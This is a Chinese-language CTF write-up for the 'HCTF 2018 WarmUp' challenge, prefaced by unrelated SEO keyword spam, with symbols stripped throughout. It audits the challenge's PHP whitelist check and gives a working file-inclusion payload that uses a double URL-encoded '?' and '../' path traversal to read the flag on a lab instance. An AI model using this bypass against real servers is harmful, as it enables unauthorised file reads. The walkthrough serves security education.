河南网站建设找工作,网站怎么做白色字,wordpress 子站点,国内出名的室内设计公司题目 点进页面#xff0c;页面只有一张滑稽脸#xff0c;没有其他的提示信息 查看网页源代码#xff0c;发现source.php#xff0c;尝试访问一下 跳转至该页面#xff0c;页面显示为一段php代码#xff0c;需要进行代码审计 ?phphighlight_file(__FILE__);class emm…题目 点进页面页面只有一张滑稽脸没有其他的提示信息 查看网页源代码发现source.php尝试访问一下 跳转至该页面页面显示为一段php代码需要进行代码审计 ?phphighlight_file(__FILE__);class emmm{public static function checkFile($page){//白名单验证$whitelist [sourcesource.php,hinthint.php];if (! isset($page) || !is_string($page)) {echo you cant see it;return false;}//isset是判断page是否为空。由于传进来的page为一个字符串且不为空所以返回falseif (in_array($page, $whitelist)) {//对输入进行判断是否为白名单类的内容return true;}/*in_array的意思是判断page里是否包含白名单里的内容 例如source.php hint.php。就是pagesource.php或者hint.php才行.所以最后返回了false。*/$_page mb_substr($page,0,mb_strpos($page . ?, ?));/*这里mb_substr 是个截断返回0到mb_strpos之间的内容而mb_strpos 则是查找第一次出现的位置所以基本可以理解为获取page 两个之间的字符串也就是获取file两个之间的字符串放到url中就是http://ip/?fileddd?中的fileddd*/if (in_array($_page, $whitelist)) {return true;}
/*经过上面的截断代码pagesource.php 所以返回true ,文件可以得到包含结束下面的代码就不用在执行了*/$_page urldecode($page);//进行url解码//输入的url会进行一次解码通过这个函数进行再一次解码所以对“”要进行二次编码》%253F%25是%的url编码进行过一次后为%3F在进行一次解码后变为“”$_page mb_substr($_page,0,mb_strpos($_page . ?, ?));if (in_array($_page, $whitelist)) {return true;}echo you cant see it;return false;}}if (! empty($_REQUEST[file]) //输入不能为空 is_string($_REQUEST[file])//判断是否为string类型 emmm::checkFile($_REQUEST[file])//调用emm类中的checkFile方法) {include $_REQUEST[file];exit;} else {echo brimg src\https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\ /;}
?
先访问hint.php看看有没有别的提示信息 根据提示信息进行目录穿越可获得flag这里flag写了四次可能使用四个或五个../
构造payload
http://1f0787c3-39e3-43b6-9583-f8ecb87aae1c.node4.buuoj.cn:81/?filehint.php%253F../../../../../ffffllllaaaagggg
得到flag 总结
mb_substr()函数返回字符串的一部分substr()函数只针对英文字符如果要分割的中文文字则需要使用mb_substr()。
若start参数是负数且length小于或等于start则length为0
如果在测试时没有匹配到指定符号将返回字符串长度
代码审计参考链接
[HCTF 2018]WarmUp_ke1nys的博客-CSDN博客
[HCTF 2018]WarmUp_浑水摸鱼的咸鱼的博客-CSDN博客